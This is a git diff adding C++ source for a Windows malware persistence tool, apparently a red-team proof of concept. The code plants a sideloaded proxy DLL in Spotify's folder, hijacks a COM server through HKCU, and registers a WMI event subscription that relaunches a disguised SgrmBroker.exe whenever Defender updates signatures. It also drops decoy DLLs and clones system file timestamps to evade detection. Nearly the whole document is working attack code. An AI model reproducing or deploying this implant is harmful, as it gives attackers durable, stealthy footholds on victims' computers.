+ if (!(pszSystem32DllPath = (LPSTR)ConvertString((LPVOID)wszSystem32DllPath, lstrlenW(wszSystem32DllPath), ENCODING_WIDE_TO_ANSI)))
+ goto _END_OF_FUNC;
+
+ // Patch our EXE into a proxy DLL with dsound.dll's export table, forwarding all calls to dspatial.dll, then drop it into Spotify's directory
+ if (ConvertExecutableToDll(pszSystem32DllPath, pszDllName, (ULONG_PTR)DllMain, &pDllFileBuffer, &dwDllFileSize))
+ DropSideloadDlls(pDllFileBuffer, dwDllFileSize);
+
+ HEAP_FREE(pszDllName);
+ HEAP_FREE(pszSystem32DllPath);
+ HEAP_FREE(pDllFileBuffer);
+
+ // ==============================================================
+ // LAYER 2 - COM HIJACK
+ // Reads exports from Windows.StateRepositoryPS.dll, patches our EXE
+ // into a proxy DLL that forwards all calls to Common.StateRepositoryRM.dll,
+ // then registers it under HKCU so it gets loaded instead of the real one.
+ // HKCU is checked before HKLM by the COM loader, so our DLL wins.
+ // ==============================================================
+
+ // Forward DLL name is the renamed copy of Windows.StateRepositoryPS.dll
+ if (!(pszDllName = (LPSTR)ConvertString((LPVOID)COM_FORWARD_DLL_NAME, lstrlenW(COM_FORWARD_DLL_NAME), ENCODING_WIDE_TO_ANSI)))
+ return -1;
+
+ // Resolve the full System32 path of the real Windows.StateRepositoryPS.dll to read its exports
+ if (!GetSystem32PathW(COM_SYSTEM_DLL_NAME, wszSystem32DllPath, ARRAYSIZE(wszSystem32DllPath)))
+ goto _END_OF_FUNC;
+
+ if (!(pszSystem32DllPath = (LPSTR)ConvertString((LPVOID)wszSystem32DllPath, lstrlenW(wszSystem32DllPath), ENCODING_WIDE_TO_ANSI)))
+ goto _END_OF_FUNC;
+
+ // Patch our EXE into a proxy DLL with Windows.StateRepositoryPS.dll's export table forwarding all calls to Common.StateRepositoryRM.dll, then install the COM hijack registry key
+ if (ConvertExecutableToDll(pszSystem32DllPath, pszDllName, (ULONG_PTR)DllMain, &pDllFileBuffer, &dwDllFileSize))
+ InstallComHijack(pDllFileBuffer, dwDllFileSize);
+
+ HEAP_FREE(pszDllName);
+ HEAP_FREE(pszSystem32DllPath);
+ HEAP_FREE(pDllFileBuffer);
+
+
+ // ==============================================================
+ // LAYER 1 - WMI PERSISTENCE
+ // Copies our EXE to a directory and registers a WMI event
+ // subscription that executes it every time windows defender does
+ // a signature update.
+ // This is done using a registry value change trigger (SignatureUpdateLastAttempted).
+ // Dropped binary is SgrmBroker.exe under System32\wbem\
+ // ==============================================================
+ DropExecutableForWmi();
+
+_RUN_PAYLOAD:
+
+ RunMessageBox(FALSE);
+
+_END_OF_FUNC:
+ HEAP_FREE(pszDllName);
+ HEAP_FREE(pszSystem32DllPath);
+ HEAP_FREE(pDllFileBuffer);
+ // Release the mutex
+ ReleasePayloadMutex(hMutex);
+ DBG_CLOSE();
+ return 0;
+}
+
+
+// If compiled in "Stripped" mode
+#if !defined(_DEBUG) && !defined(NDEBUG)
+void EntryPoint()
+{
+ INT nResult = main();
+ ExitProcess(nResult);
+}
+#endif
diff --git a/3LayersPersistence/PersistenceLayers.cpp b/3LayersPersistence/PersistenceLayers.cpp
new file mode 100644
index 0000000..afd7de3
--- /dev/null
+++ b/3LayersPersistence/PersistenceLayers.cpp
@@ -0,0 +1,709 @@
+#include "Headers.h"
+
+
+
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+
+#pragma region PAYLOAD_MANAGEMENT
+
+static BOOL GetMutexName(OUT LPSTR szMutexName, IN DWORD dwMutexNameLen)
+{
+constexpr BYTE TIME_HH = (__TIME__[0] - '0') * 10 + (__TIME__[1] - '0');
+constexpr BYTE TIME_MM = (__TIME__[3] - '0') * 10 + (__TIME__[4] - '0');
+constexpr BYTE TIME_SS = (__TIME__[6] - '0') * 10 + (__TIME__[7] - '0');
+constexpr DWORD64 TIME_SALT = ((DWORD64)TIME_HH << 16) | ((DWORD64)TIME_MM << 8) | TIME_SS;
+
+ WCHAR wszSystemDir[MAX_PATH] = { 0 };
+ WCHAR wszRootDir[0x04] = { 0x00, L':', L'\\', L'\0' };
+ DWORD64 dw64VolumeSerial = 0x00;
+ HRESULT hResult = S_OK;
+ SIZE_T cbDigest = FNV_OFFSET_BASIS;
+
+ if (!GetSystemDirectoryW(wszSystemDir, MAX_PATH))
+ {
+ DBG_LAST_ERROR("GetSystemDirectoryW");
+ return FALSE;
+ }
+
+ wszRootDir[0] = wszSystemDir[0];
+
+ if (!GetVolumeInformationW(wszRootDir, NULL, 0, (LPDWORD)&dw64VolumeSerial, NULL, NULL, NULL, 0))
+ {
+ DBG_LAST_ERROR("GetVolumeInformationW");
+ return FALSE;
+ }
+
+ auto fnMix = [&](DWORD64 v)
+ {
+ for (int i = 0; i < 8; i++) {
+ cbDigest ^= (v >> (i * 8)) & 0xFF;
+ cbDigest *= FNV_PRIME;
+ }
+ };
+
+ fnMix(dw64VolumeSerial);
+ fnMix(TIME_SALT);
+
+ cbDigest ^= (size_t)TIME_HH * FNV_MUL_HH;
+ cbDigest ^= (size_t)TIME_MM * FNV_MUL_MM;
+ cbDigest ^= (size_t)TIME_SS * FNV_MUL_SS;
+
+ if (wsprintfA(szMutexName, MUTEX_NAME_FMT, (unsigned long long)cbDigest) < 0)
+ {
+ DBG_LAST_ERROR("wsprintfA");
+ return FALSE;
+ }
+
+ return TRUE;
+}
+
+// Returns TRUE if another payload instance is already running (peer detected).
+// Returns FALSE if this is the first instance, in which the caller owns the mutex and must close it on exit to release the guard
+BOOL AcquirePayloadMutex(OUT HANDLE* phMutex)
+{
+ CHAR szMutexName[MAX_PATH] = { 0 };
+ HANDLE hExisting = NULL;
+ SECURITY_ATTRIBUTES SecurityAttr = { 0 };
+ PSECURITY_DESCRIPTOR pSecurityDesc = NULL;
+ DWORD dwLastError = ERROR_SUCCESS;
+
+ if (!GetMutexName(szMutexName, ARRAYSIZE(szMutexName)))
+ return FALSE;
+
+ DBG("[i] Mutex Name of PID (%ld) Is: %s", GetCurrentProcessId(), szMutexName);
+
+ // Apply a Low Integrity Level mandatory label to the security descriptor so that
+ // Low IL processes can open the mutex. Without this, a Low IL caller would receive
+ // ACCESS_DENIED on any cross-IL object access.
+ // SDDL used: S:(ML;;NW;;;LW), where:
+ // S: = SACL
+ // ML = Mandatory Label ace type
+ // NW = No-Write-Up
+ // LW = Low integrity level
+ if (!ConvertStringSecurityDescriptorToSecurityDescriptorA("S:(ML;;NW;;;LW)", SDDL_REVISION_1, &pSecurityDesc, NULL))
+ {
+ DBG_LAST_ERROR("ConvertStringSecurityDescriptorToSecurityDescriptorA");
+ return FALSE;
+ }
+
+ SecurityAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
+ SecurityAttr.lpSecurityDescriptor = pSecurityDesc;
+ SecurityAttr.bInheritHandle = FALSE;
+
+ *phMutex = CreateMutexA(&SecurityAttr, TRUE, szMutexName);
+ dwLastError = GetLastError();
+
+ LocalFree(pSecurityDesc);
+
+ if (!*phMutex)
+ {
+ // CreateMutexA may fail with ERROR_ACCESS_DENIED if our process lacks
+ // SeCreateGlobalPrivilege (required to create Global\ namespace objects).
+ // In that case, fall back to OpenMutexA to check if the mutex already exists.
+ // OpenMutexA does not require the SeCreateGlobalPrivilege privilege.
+ if (dwLastError == ERROR_ACCESS_DENIED)
+ {
+ if ((hExisting = OpenMutexA(SYNCHRONIZE, FALSE, szMutexName)) != NULL)
+ {
+ // Mutex exists: another payload process is already running
+ CLOSE_HANDLE(hExisting);
+ return TRUE;
+ }
+
+ // Mutex does not exist and we cannot create it.
+ // No other process is running, but we cant guard either.
+ DBG_LAST_ERROR("OpenMutexA");
+ return FALSE;
+ }
+
+ DBG_LAST_ERROR("CreateMutexA");
+ return FALSE;
+ }
+
+ if (dwLastError == ERROR_ALREADY_EXISTS)
+ {
+ // Mutex already existed before our CreateMutexA call
+ // Another payload process is running
+ CLOSE_HANDLE(*phMutex);
+ return TRUE;
+ }
+
+ // We own the mutex, no other payload process is running
+ return FALSE;
+}
+
+VOID ReleasePayloadMutex(IN HANDLE hMutex)
+{
+ if (hMutex)
+ {
+ ReleaseMutex(hMutex);
+ CLOSE_HANDLE(hMutex);
+ }
+}
+
+#pragma endregion
+
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+
+#pragma region WMI_PERSISTENCE
+
+
+// IWbemClassObject::Put wrapper for string-typed properties
+static BOOL SetWbemPropertyString(IN IWbemClassObject* pObj, IN LPCWSTR pszProperty, IN LPCWSTR pszValue)
+{
+ VARIANT var = { 0 };
+ HRESULT hResult = S_OK;
+ BOOL bResult = FALSE;
+
+ var.vt = VT_BSTR;
+
+ if (!(var.bstrVal = SysAllocString(pszValue)))
+ {
+ DBG_LAST_ERROR("SysAllocString");
+ return FALSE;
+ }
+
+ if (FAILED((hResult = pObj->Put(pszProperty, 0, &var, 0))))
+ {
+ DBG_HEX_ERROR("IWbemClassObject::Put", hResult);
+ DBG("[i] Failed To Set Property '%ws'", pszProperty);
+ goto _END_OF_FUNC;
+ }
+
+ bResult = TRUE;
+
+_END_OF_FUNC:
+ SAFE_FREE_BSTR(var.bstrVal);
+ return bResult;
+}
+
+// IWbemClassObject::Put wrapper for boolean-typed properties
+static BOOL SetWbemPropertyBool(IN IWbemClassObject* pObj, IN LPCWSTR pszProperty, IN BOOL bValue)
+{
+ VARIANT var = { 0 };
+ HRESULT hResult = S_OK;
+
+ var.vt = VT_BOOL;
+ var.boolVal = bValue ? VARIANT_TRUE : VARIANT_FALSE;
+
+ if (FAILED((hResult = pObj->Put(pszProperty, 0, &var, 0))))
+ {
+ DBG_HEX_ERROR("IWbemClassObject::Put", hResult);
+ DBG("[i] Failed To Set Property '%ws'", pszProperty);
+ return FALSE;
+ }
+
+ return TRUE;
+}
+
+// doubles every backslash found so that the result is safe to put in WQL
+static BOOL EscapeWqlBackslashes(IN LPCWSTR pszInput, OUT PWSTR pszOutput, IN DWORD cchOutput)
+{
+ DWORD i = 0;
+ DWORD j = 0;
+
+ if (!pszInput || !pszOutput || cchOutput == 0)
+ return FALSE;
+
+ for (i = 0; pszInput[i] != L'\0' && j < cchOutput - 1; i++)
+ {
+ if (pszInput[i] == L'\\')
+ {
+ if (j + 2 >= cchOutput)
+ return FALSE;
+
+ pszOutput[j++] = L'\\';
+ pszOutput[j++] = L'\\';
+ }
+ else
+ {
+ pszOutput[j++] = pszInput[i];
+ }
+ }
+
+ pszOutput[j] = L'\0';
+ return (pszInput[i] == L'\0');
+}
+
+static BOOL CreateWmiEventSubscription(IN LPCWSTR pszBinaryPath, IN LPCWSTR pszRegHive, IN LPCWSTR pszRegKey, IN LPCWSTR pszValueName, IN LPCWSTR pszFilterPrefix, IN DWORD dwDelayInSeconds)
+{
+ IWbemLocator* pLocator = NULL;
+ IWbemServices* pSubscriptionSvc = NULL;
+ IWbemClassObject* pClass = NULL;
+ IWbemClassObject* pInstance = NULL;
+ WCHAR szQuery[BUFFER_SIZE_1024] = { 0 };
+ WCHAR szFilterName[BUFFER_SIZE_256] = { 0 };
+ WCHAR szConsumerName[BUFFER_SIZE_256] = { 0 };
+ WCHAR szFilterPath[BUFFER_SIZE_512] = { 0 };
+ WCHAR szConsumerPath[BUFFER_SIZE_512] = { 0 };
+ WCHAR szEscapedKey[BUFFER_SIZE_512] = { 0 };
+ WCHAR szScriptText[BUFFER_SIZE_1024] = { 0 };
+ HRESULT hResult = S_OK;
+ BOOL bResult = FALSE;
+
+ if (!pszBinaryPath || !pszRegHive || !pszRegKey || !pszValueName || !pszFilterPrefix)
+ {
+ SetLastError(ERROR_INVALID_PARAMETER);
+ return FALSE;
+ }
+
+ // Escape backslashes in registry key path for WQL
+ if (!EscapeWqlBackslashes(pszRegKey, szEscapedKey, ARRAYSIZE(szEscapedKey)))
+ {
+ SetLastError(ERROR_INSUFFICIENT_BUFFER);
+ return FALSE;
+ }
+
+ // Build the WQL event query
+ if (wsprintfW(szQuery,
+ L"SELECT * FROM RegistryValueChangeEvent "
+ L"WHERE Hive = '%s' "
+ L"AND KeyPath = '%s' "
+ L"AND ValueName = '%s'",
+ pszRegHive,
+ szEscapedKey,
+ pszValueName) < 0)
+ {
+ DBG_LAST_ERROR("wsprintfW");
+ return FALSE;
+ }
+
+ // Build the VBScript payload that the consumer will execute on each trigger
+ // WScript object does not exist in ActiveScriptEventConsumer (WScript.Sleep doesnt work), so
+ // Were using the native VBScript timer loop instead
+ // Also, Win32_Process.Create is used to launch the binary rather than Shell.Run or WScript.Shell
+ if (wsprintfW(szScriptText,
+ L"Dim oProcess\r\n"
+ L"Dim pid\r\n"
+ L"Dim t\r\n"
+ L"t = Timer\r\n"
+ L"Do While Timer < t + %d\r\n"
+ L"Loop\r\n"
+ L"Set oProcess = GetObject(\"winmgmts:\\\\.\\root\\cimv2:Win32_Process\")\r\n"
+ L"oProcess.Create \"%s\", Null, Null, pid",
+ dwDelayInSeconds,
+ pszBinaryPath) < 0)
+ {
+ DBG_LAST_ERROR("wsprintfW");
+ return FALSE;
+ }
+
+ // Build filter/consumer names. This isnt required but its better when we need to cleanup
+ if (wsprintfW(szFilterName, L"%s_Filter", pszFilterPrefix) < 0)
+ {
+ DBG_LAST_ERROR("wsprintfW");
+ return FALSE;
+ }
+
+ if (wsprintfW(szConsumerName, L"%s_Consumer", pszFilterPrefix) < 0)
+ {
+ DBG_LAST_ERROR("wsprintfW");
+ return FALSE;
+ }
+
+ // Initialize COM
+ if (FAILED((hResult = CoInitializeEx(NULL, COINIT_MULTITHREADED))))
+ {
+ DBG_HEX_ERROR("CoInitializeEx", hResult);
+ return FALSE;
+ }
+
+ if (FAILED((hResult = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL))) && hResult != RPC_E_TOO_LATE)
+ {
+ DBG_HEX_ERROR("CoInitializeSecurity", hResult);
+ goto _END_OF_FUNC;
+ }
+
+ if (FAILED((hResult = CoCreateInstance(CLSID_WbemLocator, NULL, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID*)&pLocator))))
+ {
+ DBG_HEX_ERROR("CoCreateInstance", hResult);
+ goto _END_OF_FUNC;
+ }
+
+ // Connect to ROOT\subscription
+ // This is the namespace where permanent subscriptions (filter, consumer, binding) must be stored to survive reboots
+ if (FAILED((hResult = pLocator->ConnectServer(BSTR_LITERAL(L"ROOT\\subscription"), NULL, NULL, NULL, 0, NULL, NULL, &pSubscriptionSvc))))
+ {
+ DBG_HEX_ERROR("IWbemLocator::ConnectServer", hResult);
+ goto _END_OF_FUNC;
+ }
+
+ // Set the proxy authentication level on the returned IWbemServices proxy.
+ // Without this, COM may use a lower authentication level than WMI requires for write operations to ROOT\subscription
+ if (FAILED((hResult = CoSetProxyBlanket((IUnknown*)pSubscriptionSvc, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL, RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE))))
+ {
+ DBG_HEX_ERROR("CoSetProxyBlanket", hResult);
+ goto _END_OF_FUNC;
+ }
+
+ // Create __EventFilter. This defines the WQL condition that triggers the subscription
+ if (FAILED((hResult = pSubscriptionSvc->GetObject(BSTR_LITERAL(L"__EventFilter"), 0, NULL, &pClass, NULL))))
+ {
+ DBG_HEX_ERROR("IWbemServices::GetObject", hResult);
+ goto _END_OF_FUNC;
+ }
+
+ if (FAILED((hResult = pClass->SpawnInstance(0, &pInstance))))
+ {
+ DBG_HEX_ERROR("IWbemClassObject::SpawnInstance", hResult);
+ goto _END_OF_FUNC;
+ }
+
+ if (!SetWbemPropertyString(pInstance, L"Name", szFilterName)) goto _END_OF_FUNC;
+ if (!SetWbemPropertyString(pInstance, L"QueryLanguage", L"WQL")) goto _END_OF_FUNC;
+ if (!SetWbemPropertyString(pInstance, L"Query", szQuery)) goto _END_OF_FUNC;
+ if (!SetWbemPropertyString(pInstance, L"EventNamespace", L"root\\default")) goto _END_OF_FUNC; // RegistryValueChangeEvent is available from root\default
+
+ if (FAILED((hResult = pSubscriptionSvc->PutInstance(pInstance, WBEM_FLAG_CREATE_OR_UPDATE, NULL, NULL))))
+ {
+ DBG_HEX_ERROR("IWbemServices::PutInstance", hResult);
+ goto _END_OF_FUNC;
+ }
+
+ DBG("[+] Event Filter Created: %ws", szFilterName);
+
+ pClass->Release(); pClass = NULL;
+ pInstance->Release(); pInstance = NULL;
+
+ // Create ActiveScriptEventConsumer. This runs the VBScript payload
+ if (FAILED((hResult = pSubscriptionSvc->GetObject(BSTR_LITERAL(L"ActiveScriptEventConsumer"), 0, NULL, &pClass, NULL))))
+ {
+ DBG_HEX_ERROR("IWbemServices::GetObject", hResult);
+ goto _END_OF_FUNC;
+ }
+
+ if (FAILED((hResult = pClass->SpawnInstance(0, &pInstance))))
+ {
+ DBG_HEX_ERROR("IWbemClassObject::SpawnInstance", hResult);
+ goto _END_OF_FUNC;
+ }
+
+ if (!SetWbemPropertyString(pInstance, L"Name", szConsumerName)) goto _END_OF_FUNC;
+ if (!SetWbemPropertyString(pInstance, L"ScriptingEngine", L"VBScript")) goto _END_OF_FUNC;
+ if (!SetWbemPropertyString(pInstance, L"ScriptText", szScriptText)) goto _END_OF_FUNC;
+
+ if (FAILED((hResult = pSubscriptionSvc->PutInstance(pInstance, WBEM_FLAG_CREATE_OR_UPDATE, NULL, NULL))))
+ {
+ DBG_HEX_ERROR("IWbemServices::PutInstance", hResult);
+ goto _END_OF_FUNC;
+ }
+
+ DBG("[+] ActiveScript Consumer Created: %ws", szConsumerName);
+
+ pClass->Release(); pClass = NULL;
+ pInstance->Release(); pInstance = NULL;
+
+ // Create __FilterToConsumerBinding. This is to link the filter and consumer so WMI knows to invoke the consumer when the filter is triggered
+ if (wsprintfW(szFilterPath, L"__EventFilter.Name=\"%s\"", szFilterName) < 0)
+ {
+ DBG_LAST_ERROR("wsprintfW");
+ goto _END_OF_FUNC;
+ }
+
+ if (wsprintfW(szConsumerPath, L"ActiveScriptEventConsumer.Name=\"%s\"", szConsumerName) < 0)
+ {
+ DBG_LAST_ERROR("wsprintfW");
+ goto _END_OF_FUNC;
+ }
+
+ if (FAILED((hResult = pSubscriptionSvc->GetObject(BSTR_LITERAL(L"__FilterToConsumerBinding"), 0, NULL, &pClass, NULL))))
+ {
+ DBG_HEX_ERROR("IWbemServices::GetObject", hResult);
+ goto _END_OF_FUNC;
+ }
+
+ if (FAILED((hResult = pClass->SpawnInstance(0, &pInstance))))
+ {
+ DBG_HEX_ERROR("IWbemClassObject::SpawnInstance", hResult);
+ goto _END_OF_FUNC;
+ }
+
+ if (!SetWbemPropertyString(pInstance, L"Filter", szFilterPath)) goto _END_OF_FUNC;
+ if (!SetWbemPropertyString(pInstance, L"Consumer", szConsumerPath)) goto _END_OF_FUNC;
+
+ if (FAILED((hResult = pSubscriptionSvc->PutInstance(pInstance, WBEM_FLAG_CREATE_OR_UPDATE, NULL, NULL))))
+ {
+ DBG_HEX_ERROR("IWbemServices::PutInstance", hResult);
+ goto _END_OF_FUNC;
+ }
+
+ DBG("[*] WMI Subscription Created Successfully");
+ DBG("[i] Script Text:\n%ws", szScriptText);
+ DBG("[i] WQL Query: %ws", szQuery);
+
+ bResult = TRUE;
+
+_END_OF_FUNC:
+ // Release COM objects in reverse dependency order
+ if (pClass) pClass->Release();
+ if (pInstance) pInstance->Release();
+ if (pSubscriptionSvc) pSubscriptionSvc->Release();
+ if (pLocator) pLocator->Release();
+ CoUninitialize();
+ return bResult;
+}
+
+BOOL DropExecutableForWmi()
+{
+ WCHAR wszCurrentExePath[MAX_PATH] = { 0 };
+ WCHAR wszCurrentExeDir[MAX_PATH] = { 0 };
+ WCHAR wszDestExePath[MAX_PATH] = { 0 };
+ HRESULT hResult = S_OK;
+
+ if (GetModuleFileNameW(GetModuleHandleW(NULL), wszCurrentExePath, MAX_PATH) == 0)
+ {
+ DBG_LAST_ERROR("GetModuleFileNameW");
+ return FALSE;
+ }
+
+ // Split current exe path into directory and file name
+ if (FAILED((hResult = StringCchCopyW(wszCurrentExeDir, ARRAYSIZE(wszCurrentExeDir), wszCurrentExePath))))
+ {
+ DBG_HEX_ERROR("StringCchCopyW", hResult);
+ return FALSE;
+ }
+
+ PathRemoveFileSpecW(wszCurrentExeDir);
+
+ // Copy self to the WMI installation directory
+ if (!CopyFileToDirW(WMI_EXE_INSTALLATION_DIR, WMI_EXE_INSTALLATION_NAME, wszCurrentExeDir, PathFindFileNameW(wszCurrentExePath), wszDestExePath, ARRAYSIZE(wszDestExePath)))
+ return FALSE;
+
+ {
+ // Clone the timestamp of a real system32 binary used to make SgrmBroker.exe (our renamed exe) blend in
+#define WMI_TIMESTAMP_SOURCE_EXE L"sihost.exe"
+
+ WCHAR wszWbemSrcPath[MAX_PATH] = { 0 };
+
+ if (GetSystem32PathW(WMI_TIMESTAMP_SOURCE_EXE, wszWbemSrcPath, MAX_PATH))
+ CloneFileTimestampsW(wszWbemSrcPath, wszDestExePath);
+
+#undef WMI_TIMESTAMP_SOURCE_EXE
+ }
+
+ DBG("[+] Executable Copied To: %ws", wszDestExePath);
+
+ if (!CreateWmiEventSubscription(wszDestExePath, WMI_TRIGGER_REG_HIVE, WMI_TRIGGER_REG_KEY, WMI_TRIGGER_REG_VALUE, WMI_OBJECT_PREFIX, WMI_TRIGGER_DELAY))
+ {
+ if (!DeleteFileW(wszDestExePath))
+ {
+ DBG_LAST_ERROR("DeleteFileW");
+ }
+ return FALSE;
+ }
+
+ return TRUE;
+}
+
+#pragma endregion
+
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+
+#pragma region COM_PERSISTENCE
+
+// Copies a set of decoy DLLs into the target directory, so that the new directory doesnt hold our DLL only
+static VOID DropDecoyDlls(IN LPCWSTR wszDestDir)
+{
+ WCHAR wszSystem32DllPath[MAX_PATH] = { 0 };
+ WCHAR wszCopiedDllDst[MAX_PATH] = { 0 };
+ CONST WCHAR* pwszDecoyDllNames[] =
+ {
+ DLL_ENTRY(1),
+ DLL_ENTRY(2),
+ DLL_ENTRY(3),
+ DLL_ENTRY(4),
+ DLL_ENTRY(5),
+ DLL_ENTRY(6)
+ };
+
+ for (int i = 0; i < COM_DECOY_DLLS_COUNT; i++)
+ {
+ RtlZeroMemory(wszSystem32DllPath, sizeof(wszSystem32DllPath));
+ RtlZeroMemory(wszCopiedDllDst, sizeof(wszCopiedDllDst));
+
+ // From system32, copy with the same name
+ if (!CopyFileToDirW(wszDestDir, NULL, NULL, pwszDecoyDllNames[i], wszCopiedDllDst, ARRAYSIZE(wszCopiedDllDst)))
+ {
+ DBG("[!] CopyFileToDirW Failed For: %ws", pwszDecoyDllNames[i]);
+ continue;
+ }
+
+ if (GetSystem32PathW(pwszDecoyDllNames[i], wszSystem32DllPath, MAX_PATH))
+ CloneFileTimestampsW(wszSystem32DllPath, wszCopiedDllDst);
+ }
+}
+
+// Writes the memory DLL buffer (obtained from our patched EXE) to the specified path on disk
+static BOOL DropComDllToDisk(IN BYTE* pDllFileBuffer, IN DWORD dwDllFileSize, IN LPCWSTR pwszDllPath)
+{
+ if (!pDllFileBuffer || dwDllFileSize == 0x00 || !pwszDllPath)
+ return FALSE;
+
+ // Extract directory from full path and create it if it doesn't exist
+ if (!EnsureDirectoryExistsW(pwszDllPath, TRUE))
+ return FALSE;
+
+ if (!WriteFileToDiskW(pwszDllPath, pDllFileBuffer, dwDllFileSize))
+ {
+ DBG("[!] Failed To Write DLL To: %ws", pwszDllPath);
+ return FALSE;
+ }
+
+ return TRUE;
+}
+
+BOOL InstallComHijack(IN BYTE* pDllFileBuffer, IN DWORD dwDllFileSize)
+{
+ WCHAR wszSideloadDllPath[MAX_PATH] = { 0 };
+ WCHAR wszSystem32DllPath[MAX_PATH] = { 0 };
+ WCHAR wszOriginalDllDst[MAX_PATH] = { 0 };
+
+ if (!pDllFileBuffer || dwDllFileSize == 0x00)
+ return FALSE;
+
+ if (!ExpandEnvironmentStringsW(COM_DLL_DIR L"\\" COM_PAYLOAD_DLL_NAME, wszSideloadDllPath, ARRAYSIZE(wszSideloadDllPath)))
+ {
+ DBG_LAST_ERROR("ExpandEnvironmentStringsW");
+ return FALSE;
+ }
+
+ // Write the payload DLL path as the default value of the COM server key
+ if (!SetRegistryStringW(HKEY_CURRENT_USER, COM_HIJACK_KEY, NULL, wszSideloadDllPath, FALSE))
+ {
+ DBG("[!] Failed To Set COM Hijack DLL Path");
+ return FALSE;
+ }
+
+ if (!SetRegistryStringW(HKEY_CURRENT_USER, COM_HIJACK_KEY, COM_THREADING_MODEL, COM_THREADING_VALUE, TRUE))
+ {
+ DBG("[!] Failed To Set COM Threading Model");
+ DeleteRegistryKeyW(HKEY_CURRENT_USER, COM_HIJACK_KEY);
+ return FALSE;
+ }
+
+ // Copy the legitimate system DLL 'Windows.StateRepositoryPS.dll' (COM_SYSTEM_DLL_NAME) from System32
+ // into the payload directory under the forward DLL name 'Common.StateRepositoryRM.dll' (COM_FORWARD_DLL_NAME)
+ if (!CopyFileToDirW(COM_DLL_DIR, COM_FORWARD_DLL_NAME, NULL, COM_SYSTEM_DLL_NAME, wszOriginalDllDst, ARRAYSIZE(wszOriginalDllDst)))
+ {
+ DBG("[!] Failed To Copy Forward DLL");
+ DeleteRegistryKeyW(HKEY_CURRENT_USER, COM_HIJACK_KEY);
+ return FALSE;
+ }
+
+ DropDecoyDlls(COM_DLL_DIR);
+
+ if (!DropComDllToDisk(pDllFileBuffer, dwDllFileSize, wszSideloadDllPath))
+ {
+ DBG("[!] Failed To Drop COM DLL To Disk");
+ DeleteRegistryKeyW(HKEY_CURRENT_USER, COM_HIJACK_KEY);
+ return FALSE;
+ }
+
+ if (GetSystem32PathW(COM_SYSTEM_DLL_NAME, wszSystem32DllPath, MAX_PATH))
+ {
+ CloneFileTimestampsW(wszSystem32DllPath, wszOriginalDllDst);
+ CloneFileTimestampsW(wszSystem32DllPath, wszSideloadDllPath);
+ }
+
+ DBG("[+] COM Hijack Installed | Key: %ws | DLL: %ws", COM_HIJACK_KEY, wszSideloadDllPath);
+
+ return TRUE;
+}
+
+
+#pragma endregion
+
+
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+
+#pragma region SIDELOADING_PERSISTENCE
+
+BOOL DropSideloadDlls(IN BYTE* pDllFileBuffer, IN DWORD dwDllFileSize)
+{
+ WCHAR wszOriginalDllDst[MAX_PATH] = { 0 };
+ WCHAR wszSystem32DllPath[MAX_PATH] = { 0 };
+ WCHAR wszSideloadDllPath[MAX_PATH] = { 0 };
+
+ if (!pDllFileBuffer || dwDllFileSize == 0x00)
+ return FALSE;
+
+ // Copy the legitimate system DLL 'dsound.dll' (SIDELOAD_PAYLOAD_DLL) from System32
+ // into the payload directory under the forward DLL name 'dspatial.dll' (SIDELOAD_FORWARD_DLL)
+ if (!CopyFileToDirW(SIDELOAD_APP_DIR, SIDELOAD_FORWARD_DLL, NULL, SIDELOAD_PAYLOAD_DLL, wszOriginalDllDst, ARRAYSIZE(wszOriginalDllDst)))
+ {
+ DBG("[!] CopyFileToDirW Failed For: %ws", SIDELOAD_PAYLOAD_DLL);
+ return FALSE;
+ }
+
+ if (!ExpandEnvironmentStringsW(SIDELOAD_APP_DIR L"\\" SIDELOAD_PAYLOAD_DLL, wszSideloadDllPath, ARRAYSIZE(wszSideloadDllPath)))
+ {
+ DBG_LAST_ERROR("ExpandEnvironmentStringsW");
+ goto _DELETE_COPIED_DLL;
+ }
+
+ // Write the payload DLL under the name the application will load 'dsound.dll' (SIDELOAD_PAYLOAD_DLL)
+ if (!WriteFileToDiskW(wszSideloadDllPath, pDllFileBuffer, dwDllFileSize))
+ {
+ DBG("[!] Failed To Write Sideload DLL To: %ws", wszSideloadDllPath);
+ goto _DELETE_COPIED_DLL;
+ }
+
+ if (GetSystem32PathW(SIDELOAD_PAYLOAD_DLL, wszSystem32DllPath, MAX_PATH))
+ {
+ CloneFileTimestampsW(wszSystem32DllPath, wszOriginalDllDst);
+ CloneFileTimestampsW(wszSystem32DllPath, wszSideloadDllPath);
+ }
+
+ DBG("[+] Sideload DLL Written To: %ws", wszSideloadDllPath);
+
+ return TRUE;
+
+_DELETE_COPIED_DLL:
+
+ if (!DeleteFileW(wszOriginalDllDst))
+ {
+ DBG_LAST_ERROR("DeleteFileW");
+ }
+
+ return FALSE;
+}
+
+#pragma endregion
+
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+
+#pragma region PAYLOAD_VERIFICATION
+
+// Checks whether a DWORD registry value already exists and matches the expected value.
+// If it does not exist, or exists with a different value, it is created/overwritten
+BOOL VerifyOrCreateRegistryFlag(IN HKEY hRoot, IN LPCWSTR pwszPath, IN LPCWSTR pwszName, IN DWORD dwExpectedValue, OUT OPTIONAL BOOL* pbAlreadyExisted)
+{
+ DWORD dwActualValue = 0x00;
+ BOOL bOverwrite = FALSE;
+
+ if (pbAlreadyExisted)
+ *pbAlreadyExisted = FALSE;
+
+ if (GetRegistryDwordW(hRoot, pwszPath, pwszName, &dwActualValue))
+ {
+ if (dwActualValue == dwExpectedValue)
